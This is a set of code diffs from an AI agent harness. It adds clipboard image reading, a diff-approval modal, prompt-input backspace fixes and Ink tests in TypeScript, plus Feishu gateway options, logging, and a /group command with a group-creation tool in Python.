async function readLinuxClipboardImage(): Promise<ClipboardImageRead | null> {
const attempts: Array<[string, string[], string, string]> = [
['wl-paste', ['--no-newline', '--type', 'image/png'], 'image/png', 'clipboard.png'],
['wl-paste', ['--no-newline', '--type', 'image/jpeg'], 'image/jpeg', 'clipboard.jpg'],
['xclip', ['-selection', 'clipboard', '-target', 'image/png', '-out'], 'image/png', 'clipboard.png'],
['xclip', ['-selection', 'clipboard', '-target', 'image/jpeg', '-out'], 'image/jpeg', 'clipboard.jpg'],
['xsel', ['--clipboard', '--output', '--mime-type', 'image/png'], 'image/png', 'clipboard.png'],
['xsel', ['--clipboard', '--output', '--mime-type', 'image/jpeg'], 'image/jpeg', 'clipboard.jpg'],
];
for (const [command, args, mediaType, label] of attempts) {
const data = await runBufferCommand(command, args);
if (data && data.length > 0) {
return {data, mediaType, label};
}
}
return null;
}
async function readImageFile(path: string, mediaType: string, label: string): Promise<ClipboardImageRead | null> {
const fileStat = await stat(path).catch(() => null);
if (!fileStat || fileStat.size <= 0 || fileStat.size > MAX_CLIPBOARD_IMAGE_BYTES) {
return null;
}
const data = await readFile(path);
return {data, mediaType, label};
}
async function runFileCommand(command: string, args: string[]): Promise<boolean> {
return new Promise((resolve) => {
execFile(command, args, {timeout: EXEC_TIMEOUT_MS, windowsHide: true}, (error) => {
resolve(!error);
});
});
}
async function runBufferCommand(command: string, args: string[]): Promise<Buffer | null> {
return new Promise((resolve) => {
execFile(
command,
args,
{
encoding: 'buffer',
maxBuffer: MAX_CLIPBOARD_IMAGE_BYTES + 1024,
timeout: EXEC_TIMEOUT_MS,
windowsHide: true,
},
(error, stdout) => {
if (error || !Buffer.isBuffer(stdout) || stdout.length > MAX_CLIPBOARD_IMAGE_BYTES) {
resolve(null);
return;
}
resolve(stdout);
},
);
});
}
@@ -0,0 +1,87 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React from 'react';
import {render} from 'ink';
import {ModalHost} from './ModalHost.js';
const stripAnsi = (value: string): string => value.replace(/\u001B\[[0-9;?]*[ -/]*[@-~]/g, '');
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
async function waitForOutputToStabilize(getOutput: () => string): Promise<string> {
let previous = '';
let sawOutput = false;
for (let i = 0; i < 50; i += 1) {
await nextLoopTurn();
const current = getOutput();
sawOutput ||= current.length > 0;
if (sawOutput && current === previous) {
return current;
}
previous = current;
}
throw new Error(`Ink output did not stabilize: ${JSON.stringify(previous)}`);
}
test('renders edit diff preview with stats and always shortcut', async () => {
const stdout = createTestStdout();
let output = '';
stdout.on('data', (chunk) => {
output += chunk.toString();
});
const instance = render(
<ModalHost
modal={{
kind: 'edit_diff',
path: 'src/demo.txt',
diff: '@@ -1 +1 @@\n-old line\n+new line',
added: 1,
removed: 1,
}}
modalInput=""
setModalInput={() => undefined}
onSubmit={() => undefined}
/>,
{stdout: stdout as unknown as NodeJS.WriteStream, debug: true, patchConsole: false},
);
const exitPromise = instance.waitUntilExit();
const stableOutput = await waitForOutputToStabilize(() => output);
instance.unmount();
await exitPromise;
instance.cleanup();
stdout.destroy();
const rendered = stripAnsi(stableOutput);
assert.match(rendered, /Edit src\/demo\.txt/);
assert.match(rendered, /\+1/);
assert.match(rendered, /-1/);
assert.match(rendered, /\+new line/);
assert.match(rendered, /-old line/);
assert.match(rendered, /\[a\] Always/);
});
@@ -8,6 +8,7 @@ const WAIT_FRAMES = [
'Agent is waiting for your input.. ',
'Agent is waiting for your input...',
];
const MAX_DIFF_LINES = 40;
function WaitingAnimation(): React.JSX.Element {
const [frame, setFrame] = useState(0);
@@ -85,6 +86,104 @@ function QuestionModal({
);
}
type DiffLineKind = 'add' | 'del' | 'hunk' | 'context';
type ParsedDiffLine = {
kind: DiffLineKind;
content: string;
};
function parseDiffLines(diffText: string): ParsedDiffLine[] {
return diffText
.split('\n')
.flatMap((raw): ParsedDiffLine[] => {
if (!raw || raw.startsWith('+++') || raw.startsWith('---')) {
return [];
}
if (raw.startsWith('@@')) {
return [{kind: 'hunk', content: raw}];
}
if (raw.startsWith('+')) {
return [{kind: 'add', content: raw.slice(1)}];
}
if (raw.startsWith('-')) {
return [{kind: 'del', content: raw.slice(1)}];
}
return [{kind: 'context', content: raw.startsWith(' ') ? raw.slice(1) : raw}];
});
}
function EditDiffModal({modal}: {modal: Record<string, unknown>}): React.JSX.Element {
const path = String(modal.path ?? '');
const added = Number(modal.added ?? 0);
const removed = Number(modal.removed ?? 0);
const lines = parseDiffLines(String(modal.diff ?? ''));
const visibleLines = lines.slice(0, MAX_DIFF_LINES);
const hiddenCount = lines.length - visibleLines.length;
return (
<Box flexDirection="column" marginTop={1}>
<Text>
<Text color="yellow" bold>{'\u250C '}</Text>
<Text bold>Edit </Text>
<Text color="cyan" bold>{path}</Text>
<Text>{' '}</Text>
<Text color="green">{`+${added}`}</Text>
<Text>{' '}</Text>
<Text color="red">{`-${removed}`}</Text>
</Text>
{visibleLines.map((line, index) => {
if (line.kind === 'hunk') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="cyan" dimColor>{line.content}</Text>
</Text>
);
}
if (line.kind === 'add') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="green">+</Text>
<Text color="green">{line.content}</Text>
</Text>
);
}
if (line.kind === 'del') {
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text color="red">-</Text>
<Text color="red">{line.content}</Text>
</Text>
);
}
return (
<Text key={index}>
<Text color="yellow">{'\u2502 '}</Text>
<Text dimColor>{' '}{line.content}</Text>
</Text>
);
})}
{hiddenCount > 0 ? (
<Text>
<Text color="yellow">{'\u2502 '}</Text>
<Text dimColor>... {hiddenCount} more lines hidden</Text>
</Text>
) : null}
<Text>
<Text color="yellow">{'\u2514 '}</Text>
<Text color="green">[y] Once</Text>
<Text>{' '}</Text>
<Text color="green">[a] Always</Text>
<Text>{' '}</Text>
<Text color="red">[n] Deny</Text>
</Text>
</Box>
);
}
function ModalHostInner({
modal,
modalInput,
@@ -120,6 +219,9 @@ function ModalHostInner({
</Box>
);
}
if (modal?.kind === 'edit_diff') {
return <EditDiffModal modal={modal} />;
}
if (modal?.kind === 'question') {
return (
<QuestionModal
@@ -0,0 +1,16 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {getBackspaceDeleteCount} from './PromptInput.js';
test('counts repeated backspace control characters from a single input chunk', () => {
assert.equal(getBackspaceDeleteCount('\b\b\b'), 3);
assert.equal(getBackspaceDeleteCount('\u007f\u007f'), 2);
assert.equal(getBackspaceDeleteCount('\x7f\x7f\x7f'), 3);
});
test('falls back to a single delete for empty or unexpected input', () => {
assert.equal(getBackspaceDeleteCount(''), 1);
assert.equal(getBackspaceDeleteCount('abc'), 1);
assert.equal(getBackspaceDeleteCount('\bA'), 1);
});
@@ -0,0 +1,244 @@
import assert from 'node:assert/strict';
import test from 'node:test';
import {PassThrough} from 'node:stream';
import React, {useState} from 'react';
import {render} from 'ink';
import {ThemeProvider} from '../theme/ThemeContext.js';
import {PromptInput} from './PromptInput.js';
const nextLoopTurn = (): Promise<void> => new Promise((resolve) => setImmediate(resolve));
type InkTestStdout = PassThrough & {
isTTY: boolean;
columns: number;
rows: number;
cursorTo: () => boolean;
clearLine: () => boolean;
moveCursor: () => boolean;
};
type InkTestStdin = PassThrough & {
isTTY: boolean;
setRawMode: (_mode: boolean) => void;
resume: () => InkTestStdin;
pause: () => InkTestStdin;
ref: () => InkTestStdin;
unref: () => InkTestStdin;
};
function createTestStdout(): InkTestStdout {
return Object.assign(new PassThrough(), {
isTTY: true,
columns: 120,
rows: 40,
cursorTo: () => true,
clearLine: () => true,
moveCursor: () => true,
});
}
function createTestStdin(): InkTestStdin {
return Object.assign(new PassThrough(), {
isTTY: true,
setRawMode: () => undefined,
resume() {
return this;
},
pause() {
return this;
},
ref() {
return this;
},
unref() {
return this;
},
});
}
async function sendKey(stdin: InkTestStdin, chunk: string | Buffer): Promise<void> {
stdin.write(chunk);
await nextLoopTurn();
await nextLoopTurn();
}
async function waitForValue(getValue: () => string, expected: string): Promise<void> {
for (let i = 0; i < 50; i += 1) {
await nextLoopTurn();
if (getValue() === expected) {
return;
}
}
assert.equal(getValue(), expected);
}
function PromptHarness({
busy = false,
onInputChange,
onSubmit = () => undefined,
}: {
busy?: boolean;
onInputChange: (value: string) => void;
onSubmit?: (value: string) => void;
}): React.JSX.Element {
const [input, setInput] = useState('');
return (
<ThemeProvider initialTheme="default">
<PromptInput
busy={busy}
input={input}
setInput={(value) => {
onInputChange(value);
setInput(value);
}}
onSubmit={onSubmit}
/>
</ThemeProvider>
);
}
test('treats terminal DEL at end-of-line as backward delete', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, Buffer.from([0x7f]));
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('keeps forward delete behavior when cursor is inside the line', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, 'a');
await waitForValue(() => currentValue, 'a');
await sendKey(stdin, 'b');
await waitForValue(() => currentValue, 'ab');
await sendKey(stdin, '\u001B[D');
await nextLoopTurn();
await sendKey(stdin, '\u001B[3~');
await waitForValue(() => currentValue, 'a');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('ignores ctrl+v so the app can attach clipboard images', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
const instance = render(<PromptHarness onInputChange={(value) => {
currentValue = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
await sendKey(stdin, Buffer.from([0x16]));
await nextLoopTurn();
assert.equal(currentValue, '');
await sendKey(stdin, 'v');
await waitForValue(() => currentValue, 'v');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
test('accepts explicit /stop submission while busy', async () => {
const stdin = createTestStdin();
const stdout = createTestStdout();
let currentValue = '';
let submitted = '';
const instance = render(<PromptHarness busy onInputChange={(value) => {
currentValue = value;
}} onSubmit={(value) => {
submitted = value;
}} />, {
stdin: stdin as unknown as NodeJS.ReadStream & {fd: 0},
stdout: stdout as unknown as NodeJS.WriteStream,
debug: true,
patchConsole: false,
});
const exitPromise = instance.waitUntilExit();
try {
await nextLoopTurn();
for (const char of '/stop') {
await sendKey(stdin, char);
}
await waitForValue(() => currentValue, '/stop');
await sendKey(stdin, '\r');
await waitForValue(() => submitted, '/stop');
} finally {
instance.unmount();
await exitPromise;
instance.cleanup();
stdin.destroy();
stdout.destroy();
}
});
+107 -21
View File
@@ -1,11 +1,20 @@
import React, {useEffect, useState} from 'react';
import {Box, Text, useInput} from 'ink';
import React, {useEffect, useRef, useState} from 'react';
import {Box, Text, useInput, useStdin} from 'ink';
import chalk from 'chalk';
import {useTheme} from '../theme/ThemeContext.js';
import {Spinner} from './Spinner.js';
const noop = (): void => {};
const BACKSPACE_CONTROL_PATTERN = /^[\b\u007f]+$/;
export function getBackspaceDeleteCount(sequence: string): number {
if (!sequence || !BACKSPACE_CONTROL_PATTERN.test(sequence)) {
return 1;
}
return [...sequence].length;
}
function MultilineTextInput({
value,
@@ -23,18 +32,60 @@ function MultilineTextInput({
promptColor: string;
}): React.JSX.Element {
const [cursorOffset, setCursorOffset] = useState(value.length);
const {internal_eventEmitter} = useStdin();
const lastSequenceRef = useRef('');
// Tracks the last value this component produced via onChange. If the
// incoming `value` prop diverges from this, the change came from outside
// (tab completion, history recall, programmatic clear) and we should
// move the cursor to the end — otherwise the cursor stays wherever the
// user had it, which puts subsequent keystrokes in the middle of the
// newly-completed text. See HKUDS/OpenHarness#183.
const lastInternalValueRef = useRef<string>(value);
useEffect(() => {
setCursorOffset((previous) => Math.min(previous, value.length));
if (value === lastInternalValueRef.current) {
// Self-authored update; cursor was already positioned by the
// handler that called onChange.
return;
}
lastInternalValueRef.current = value;
setCursorOffset(value.length);
}, [value]);
const commitValue = (nextValue: string): void => {
lastInternalValueRef.current = nextValue;
onChange(nextValue);
};
useEffect(() => {
if (!focus) {
return;
}
const handleRawInput = (chunk: string | Buffer): void => {
lastSequenceRef.current = Buffer.isBuffer(chunk) ? chunk.toString('utf8') : String(chunk);
};
internal_eventEmitter.on('input', handleRawInput);
return () => {
internal_eventEmitter.removeListener('input', handleRawInput);
};
}, [focus, internal_eventEmitter]);
useInput(
(input, key) => {
if (!focus) {
return;
}
if (key.upArrow || key.downArrow || key.tab || (key.shift && key.tab) || key.escape || (key.ctrl && input === 'c')) {
if (
key.upArrow ||
key.downArrow ||
key.tab ||
(key.shift && key.tab) ||
key.escape ||
(key.ctrl && (input === 'c' || input === 'v'))
) {
return;
}
@@ -42,7 +93,7 @@ function MultilineTextInput({
if (key.shift) {
const nextValue = value.slice(0, cursorOffset) + '\n' + value.slice(cursorOffset);
setCursorOffset(cursorOffset + 1);
onChange(nextValue);
commitValue(nextValue);
return;
}
onSubmit?.(value);
@@ -59,22 +110,41 @@ function MultilineTextInput({
return;
}
if (key.backspace || key.delete) {
if (key.delete) {
if (cursorOffset >= value.length) {
return;
}
const nextValue = value.slice(0, cursorOffset) + value.slice(cursorOffset + 1);
onChange(nextValue);
return;
}
if (key.backspace) {
if (cursorOffset === 0) {
return;
}
const nextValue = value.slice(0, cursorOffset - 1) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - 1);
onChange(nextValue);
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current || input));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (key.delete) {
// Ink reports the common DEL byte (`0x7f`) as `delete`, even though
// many terminals emit it for the Backspace key. Use the raw sequence
// to distinguish that case from a true forward-delete escape sequence.
if (
lastSequenceRef.current === '\x7f' ||
lastSequenceRef.current === '\x1b\x7f' ||
BACKSPACE_CONTROL_PATTERN.test(lastSequenceRef.current)
) {
if (cursorOffset === 0) {
return;
}
const deleteCount = Math.min(cursorOffset, getBackspaceDeleteCount(lastSequenceRef.current));
const nextValue = value.slice(0, cursorOffset - deleteCount) + value.slice(cursorOffset);
setCursorOffset(cursorOffset - deleteCount);
commitValue(nextValue);
return;
}
if (cursorOffset >= value.length) {
return;
}
const nextValue = value.slice(0, cursorOffset) + value.slice(cursorOffset + 1);
commitValue(nextValue);
return;
}
@@ -84,7 +154,7 @@ function MultilineTextInput({
const nextValue = value.slice(0, cursorOffset) + input + value.slice(cursorOffset);
setCursorOffset(cursorOffset + input.length);
onChange(nextValue);
commitValue(nextValue);
},
{isActive: focus},
);
@@ -134,6 +204,8 @@ export function PromptInput({
toolName,
suppressSubmit,
statusLabel,
imageAttachmentLabels = [],
clipboardStatus,
}: {
busy: boolean;
input: string;
@@ -142,6 +214,8 @@ export function PromptInput({
toolName?: string;
suppressSubmit?: boolean;
statusLabel?: string;
imageAttachmentLabels?: string[];
clipboardStatus?: string | null;
}): React.JSX.Element {
const {theme} = useTheme();
const promptPrefix = busy ? '… ' : '> ';
@@ -155,11 +229,23 @@ export function PromptInput({
</Box>
</Box>
) : null}
{imageAttachmentLabels.length > 0 ? (
<Box>
<Text color={theme.colors.accent}>
{imageAttachmentLabels.map((label, index) => `[image ${index + 1}: ${label}]`).join(' ')}
</Text>
</Box>
) : null}
{clipboardStatus ? (
<Box>
<Text color={theme.colors.muted}>{clipboardStatus}</Text>
</Box>
) : null}
<MultilineTextInput
value={input}
onChange={setInput}
onSubmit={suppressSubmit || busy ? noop : onSubmit}
focus={!busy}
onSubmit={suppressSubmit ? noop : onSubmit}
focus
promptPrefix={promptPrefix}
promptColor={theme.colors.primary}
/>
@@ -454,6 +454,7 @@ export function useBackendSession(config: FrontendConfig, onExit: (code?: number
setModal,
setSelectRequest,
setBusy,
setBusyLabel,
sendRequest,
}),
[assistantBuffer, bridgeSessions, busy, busyLabel, commands, mcpServers, modal, ready, selectRequest, status, swarmNotifications, swarmTeammates, tasks, todoMarkdown, transcript]
+6
View File
@@ -11,6 +11,12 @@ export type TranscriptItem = {
is_error?: boolean;
};
export type ImageAttachmentPayload = {
media_type: string;
data: string;
source_path?: string;
};
export type TaskSnapshot = {
id: string;
type: string;
+1 -1
View File
@@ -2,4 +2,4 @@
__all__ = ["__version__"]
__version__ = "0.1.7"
__version__ = "0.1.9"
+60 -2
View File
@@ -25,6 +25,7 @@ from ohmo.runtime import launch_ohmo_react_tui, run_ohmo_backend, run_ohmo_print
from ohmo.session_storage import OhmoSessionBackend
from ohmo.workspace import (
get_gateway_config_path,
get_logs_dir,
get_workspace_root,
get_soul_path,
get_state_path,
@@ -269,6 +270,14 @@ def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict
default_value=str(prior.get("group_policy", "mention")),
)
elif channel == "feishu":
config["domain"] = _select_from_menu(
"Feishu domain:",
[
("https://open.feishu.cn", "Feishu (China)"),
("https://open.larksuite.com", "Lark (International)"),
],
default_value=str(prior.get("domain", "https://open.feishu.cn")),
)
config["app_id"] = _text_prompt(
"Feishu app id",
default=str(prior.get("app_id", "")),
@@ -289,6 +298,29 @@ def _prompt_channels(existing: GatewayConfig) -> tuple[list[str], dict[str, dict
"Feishu reaction emoji",
default=str(prior.get("react_emoji", "OK")),
)
config["group_policy"] = _select_from_menu(
"Feishu group policy:",
[
("managed_or_mention", "Managed groups open; other groups require @mention"),
("mention", "Always require @mention in groups"),
("open", "Always reply to group messages"),
],
default_value=str(prior.get("group_policy", "managed_or_mention")),
)
prior_bot_names = prior.get("bot_names", ["ohmo", "openclaw", "openharness"])
if isinstance(prior_bot_names, str):
prior_bot_names_default = prior_bot_names
else:
prior_bot_names_default = ",".join(str(item) for item in prior_bot_names)
bot_names_raw = _text_prompt(
"Feishu bot mention names (comma separated)",
default=prior_bot_names_default,
)
config["bot_names"] = [item.strip() for item in bot_names_raw.split(",") if item.strip()]
config["bot_open_id"] = _text_prompt(
"Feishu bot open_id for exact mention detection (optional)",
default=str(prior.get("bot_open_id", "")),
)
configs[channel] = config
return enabled, configs
@@ -376,18 +408,42 @@ def _maybe_restart_gateway(*, cwd: str | Path, workspace: str | Path) -> None:
print(f"ohmo gateway restarted (pid={pid})")
def _configure_gateway_logging(workspace: str | Path | None = None) -> None:
def _configure_gateway_logging(
workspace: str | Path | None = None,
*,
console: bool = True,
log_file: bool = True,
) -> None:
"""Configure foreground gateway logging."""
config = load_gateway_config(workspace)
level_name = str(config.log_level or "INFO").upper()
level = getattr(logging, level_name, logging.INFO)
handlers = _build_gateway_logging_handlers(workspace, console=console, log_file=log_file)
logging.basicConfig(
level=level,
format="%(asctime)s [%(name)s] %(levelname)s %(message)s",
handlers=handlers,
force=True,
)
def _build_gateway_logging_handlers(
workspace: str | Path | None = None,
*,
console: bool,
log_file: bool,
) -> list[logging.Handler]:
"""Build gateway log handlers for foreground and daemon modes."""
handlers: list[logging.Handler] = []
if console:
handlers.append(logging.StreamHandler())
if log_file:
log_path = get_logs_dir(workspace) / "gateway.log"
log_path.parent.mkdir(parents=True, exist_ok=True)
handlers.append(logging.FileHandler(log_path, encoding="utf-8", delay=True))
return handlers
@app.callback(invoke_without_command=True)
def main(
ctx: typer.Context,
@@ -606,9 +662,11 @@ def user_edit_cmd(
def gateway_run_cmd(
cwd: str = typer.Option(str(Path.cwd()), "--cwd", help="Project working directory"),
workspace: str | None = typer.Option(None, "--workspace", help=_WORKSPACE_HELP),
console_log: bool = typer.Option(True, "--console-log/--no-console-log", hidden=True),
log_file: bool = typer.Option(True, "--log-file/--no-log-file", hidden=True),
) -> None:
"""Run the ohmo gateway in the foreground."""
_configure_gateway_logging(workspace)
_configure_gateway_logging(workspace, console=console_log, log_file=log_file)
service = OhmoGatewayService(cwd, workspace)
raise SystemExit(asyncio.run(service.run_foreground()))
+170 -3
View File
@@ -5,10 +5,13 @@ from __future__ import annotations
import asyncio
import logging
from collections.abc import Awaitable, Callable
from pathlib import Path
from openharness.channels.bus.events import InboundMessage
from openharness.channels.bus.events import OutboundMessage
from openharness.channels.bus.queue import MessageBus
from ohmo.group_registry import load_managed_group_record
from ohmo.gateway.router import session_key_for_message
from ohmo.gateway.runtime import OhmoSessionRuntimePool
@@ -59,10 +62,14 @@ class OhmoGatewayBridge:
bus: MessageBus,
runtime_pool: OhmoSessionRuntimePool,
restart_gateway: Callable[[object, str], Awaitable[None] | None] | None = None,
workspace: str | Path | None = None,
feishu_group_policy: str = "open",
) -> None:
self._bus = bus
self._runtime_pool = runtime_pool
self._restart_gateway = restart_gateway
self._workspace = workspace
self._feishu_group_policy = _normalize_feishu_group_policy(feishu_group_policy)
self._running = False
self._session_tasks: dict[str, asyncio.Task[None]] = {}
self._session_cancel_reasons: dict[str, str] = {}
@@ -77,6 +84,17 @@ class OhmoGatewayBridge:
except asyncio.CancelledError:
break
if not self._should_process_message(message):
logger.info(
"ohmo inbound ignored channel=%s chat_id=%s sender_id=%s reason=feishu_group_policy policy=%s content=%r",
message.channel,
message.chat_id,
message.sender_id,
self._feishu_group_policy,
_content_snippet(message.content),
)
continue
session_key = session_key_for_message(message)
logger.info(
"ohmo inbound received channel=%s chat_id=%s sender_id=%s session_key=%s content=%r",
@@ -92,6 +110,13 @@ class OhmoGatewayBridge:
if message.content.strip() == "/restart":
await self._handle_restart(message, session_key)
continue
group_args = _parse_group_command(message.content)
if group_args is not None:
prepared = await self._prepare_group_prompt_message(message, session_key, group_args)
if prepared is None:
continue
message = prepared
session_key = session_key_for_message(message)
await self._interrupt_session(
session_key,
reason="replaced by a newer user message",
@@ -148,6 +173,58 @@ class OhmoGatewayBridge:
if asyncio.iscoroutine(result):
await result
async def _prepare_group_prompt_message(
self,
message,
session_key: str,
args: str,
) -> InboundMessage | None:
"""Convert a private /group command into an agent task."""
if message.channel != "feishu":
await self._publish_command_reply(
message,
session_key,
"/group 当前只支持飞书。\n/group is currently only available for Feishu.",
)
return None
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
is_private = chat_type in {"p2p", "private", "im", "direct"} or (
not chat_type and str(message.chat_id) == str(message.sender_id)
)
if not is_private:
await self._publish_command_reply(
message,
session_key,
"请在和 ohmo 的私聊里使用 /group 创建新群。\nUse /group in a private chat with ohmo to create a new group.",
)
return None
metadata = dict(message.metadata)
metadata["_ohmo_group_command"] = True
metadata["_ohmo_group_raw_request"] = args
prompt = _build_group_agent_prompt(args)
return InboundMessage(
channel=message.channel,
sender_id=message.sender_id,
chat_id=message.chat_id,
content=prompt,
timestamp=message.timestamp,
media=list(message.media),
metadata=metadata,
session_key_override=message.session_key_override,
)
async def _publish_command_reply(self, message, session_key: str, content: str) -> None:
await self._bus.publish_outbound(
OutboundMessage(
channel=message.channel,
chat_id=message.chat_id,
content=content,
metadata={"_session_key": session_key},
)
)
async def _interrupt_session(
self,
session_key: str,
@@ -169,15 +246,24 @@ class OhmoGatewayBridge:
return True
async def _process_message(self, message, session_key: str) -> None:
# Preserve inbound message_id so channels can reply in-thread
# Preserve thread metadata only for shared chats. Feishu p2p replies
# should stay as normal private messages, not topic replies.
inbound_meta = {
k: message.metadata[k] for k in ("message_id", "thread_id") if k in message.metadata
k: message.metadata[k] for k in ("thread_id",) if k in message.metadata
}
chat_type = str(message.metadata.get("chat_type") or "").lower()
if chat_type == "group" or inbound_meta.get("thread_id"):
if "message_id" in message.metadata:
inbound_meta["message_id"] = message.metadata["message_id"]
try:
reply = ""
final_media: list[str] = []
final_metadata: dict[str, object] = {}
async for update in self._runtime_pool.stream_message(message, session_key):
if update.kind == "final":
reply = update.text
final_media = list(getattr(update, "media", None) or (update.metadata or {}).get("_media") or [])
final_metadata = dict(update.metadata or {})
continue
if not update.text:
continue
@@ -194,6 +280,7 @@ class OhmoGatewayBridge:
channel=message.channel,
chat_id=message.chat_id,
content=update.text,
media=list(getattr(update, "media", None) or (update.metadata or {}).get("_media") or []),
metadata={**inbound_meta, **(update.metadata or {})},
)
)
@@ -236,7 +323,8 @@ class OhmoGatewayBridge:
channel=message.channel,
chat_id=message.chat_id,
content=reply,
metadata={**inbound_meta, "_session_key": session_key},
media=final_media,
metadata={**inbound_meta, **final_metadata, "_session_key": session_key},
)
)
@@ -245,3 +333,82 @@ class OhmoGatewayBridge:
if current is task:
self._session_tasks.pop(session_key, None)
self._session_cancel_reasons.pop(session_key, None)
def _should_process_message(self, message: InboundMessage) -> bool:
if message.channel != "feishu":
return True
chat_type = str(message.metadata.get("chat_type") or "").strip().lower()
if chat_type != "group":
return True
policy = self._feishu_group_policy
if policy == "open":
return True
mentioned = _message_mentions_bot(message)
if policy == "mention":
return mentioned
if policy == "managed":
return self._is_managed_feishu_group(message.chat_id)
if policy == "managed_or_mention":
return mentioned or self._is_managed_feishu_group(message.chat_id)
return mentioned
def _is_managed_feishu_group(self, chat_id: str) -> bool:
try:
return load_managed_group_record(
workspace=self._workspace,
channel="feishu",
chat_id=chat_id,
) is not None
except Exception:
logger.exception("failed to load ohmo managed group metadata chat_id=%s", chat_id)
return False
def _parse_group_command(content: str) -> str | None:
stripped = content.strip()
parts = stripped.split(maxsplit=1)
if not parts or parts[0] != "/group":
return None
if len(parts) == 1:
return ""
return parts[1].strip()
def _build_group_agent_prompt(raw_request: str) -> str:
request = raw_request.strip() or "(user did not provide details)"
return (
"The user invoked `/group` from a Feishu private chat.\n"
"Your task is to create a dedicated Feishu group for this request.\n\n"
"Use the `ohmo_create_feishu_group` tool exactly once if you can infer a safe group name. "
"You, the model, must decide the final `name`, optional `repo`, and optional `cwd` from the user's "
"natural-language request and available local context. If the cwd is not obvious, inspect the filesystem "
"before calling the tool. If there is not enough information to choose safely, ask one concise clarification "
"instead of calling the tool. Do not create the group via bash or direct API calls.\n\n"
f"User /group request:\n{request}"
)
def _normalize_feishu_group_policy(value: str | None) -> str:
normalized = str(value or "").strip().lower().replace("-", "_")
aliases = {
"all": "open",
"always": "open",
"always_reply": "open",
"managed_mention": "managed_or_mention",
"managed_or_at": "managed_or_mention",
"at": "mention",
"mentions": "mention",
}
normalized = aliases.get(normalized, normalized)
if normalized in {"open", "mention", "managed", "managed_or_mention"}:
return normalized
return "managed_or_mention"
def _message_mentions_bot(message: InboundMessage) -> bool:
value = message.metadata.get("mentions_bot")
if isinstance(value, bool):
return value
if isinstance(value, str):
return value.strip().lower() in {"1", "true", "yes", "y"}
return False
+158
View File
@@ -0,0 +1,158 @@
"""ohmo-only Feishu group management tool."""
from __future__ import annotations
import asyncio
from collections.abc import Awaitable, Callable
from pathlib import Path
from pydantic import BaseModel, Field
from openharness.tools.base import BaseTool, ToolExecutionContext, ToolResult
from ohmo.group_registry import normalize_group_name, save_managed_group_record
CreateFeishuGroup = Callable[[str, str], Awaitable[str] | str]
PublishGroupWelcome = Callable[[str, str, str], Awaitable[None] | None]
class OhmoCreateFeishuGroupInput(BaseModel):
"""Arguments selected by the model for creating a Feishu group."""
name: str = Field(description="Final Feishu group name to create.")
cwd: str | None = Field(
default=None,
description="Workspace directory to bind to the group. Use an absolute path, ~ path, or path relative to cwd.",
)
repo: str | None = Field(
default=None,
description="Repository identifier associated with the group, for example HKUDS/OpenHarness.",
)
reason: str | None = Field(
default=None,
description="Short reason explaining why these name/cwd/repo values were chosen.",
)
class OhmoCreateFeishuGroupTool(BaseTool):
"""Create a Feishu group for the current ohmo private-chat requester."""
name = "ohmo_create_feishu_group"
description = (
"Create a Feishu group for the current private-chat /group request and bind optional cwd/repo metadata. "
"Only use this after the user explicitly invokes /group. Infer name, cwd, and repo from the user's "
"natural-language request and the local workspace context; inspect files first if needed."
)
input_model = OhmoCreateFeishuGroupInput
def __init__(
self,
*,
workspace: str | Path | None,
create_group: CreateFeishuGroup,
publish_group_welcome: PublishGroupWelcome | None = None,
) -> None:
self._workspace = workspace
self._create_group = create_group
self._publish_group_welcome = publish_group_welcome
def is_read_only(self, arguments: OhmoCreateFeishuGroupInput) -> bool:
# Permission is enforced by the slash-command context guard below. This
# tool is only registered inside ohmo gateway sessions and cannot run
# unless the current inbound message was a private Feishu /group request.
del arguments
return True
async def execute(self, arguments: OhmoCreateFeishuGroupInput, context: ToolExecutionContext) -> ToolResult:
request = context.metadata.get("ohmo_group_request")
if not isinstance(request, dict):
return ToolResult(
output="ohmo_create_feishu_group can only run immediately after a Feishu private /group request.",
is_error=True,
)
